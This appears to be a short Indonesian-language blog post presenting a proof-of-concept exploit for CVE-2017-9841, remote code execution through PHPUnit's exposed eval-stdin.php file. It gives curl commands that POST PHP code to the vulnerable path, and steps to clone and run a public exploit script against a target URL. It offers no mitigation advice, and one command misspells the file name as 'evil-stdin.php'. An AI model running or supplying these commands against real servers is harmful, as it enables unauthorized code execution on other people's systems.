PoC PHP Unit RCE (CVE-2017-9841) - MainSec

Selasa, 28 Januari 2025

PoC PHP Unit RCE (CVE-2017-9841)


Kerentanan ini terdapat pada file eval-stdin.php di PHPUnit versi sebelum 4.8.28 dan 5.x sebelum 5.6.3. File ini memungkinkan penyerang untuk mengeksekusi kode PHP secara remote dengan mengirimkan data melalui HTTP POST yang dimulai dengan .<?php

Bagaimana Serangan Ini Bekerja?

  1. Folder /vendor Terbuka
    • Jika suatu situs memiliki folder /vendor yang dapat diakses dari luar (misalnya melalui https://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php), maka situs tersebut kemungkinan rentan.

  2. Mengirim Kode Berbahaya via HTTP POST
    • Penyerang bisa mengirim permintaan POST berisi kode PHP berbahaya ke file ini, contohnya:

    curl -d "<?php echo php_uname(); ?>" https://example.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
    

      Kode "<?php echo php_uname(); ?>" akan dieksekusi langsung di server, memungkinkan penyerang menjalankan perintah sistem.

PoC PHP Unit RCE

Exploit

Kirim POST dengan curl ataupun burpsuite

curl -d "<?php echo php_uname(); ?>" http://example.com/vendor/phpunit/phpunit/src/Util/PHP/evil-stdin.php

Dengan Bantuan Tool

apt update && apt upgrade -y
pkg install git -y
pkg install python -y
git clone https://github.com/Chocapikk/CVE-2017-9841
cd CVE-2017-9841
pip install -r requirements.txt
python exploit.py -u http://example.com/
python exploit.py -u http://example.com/path/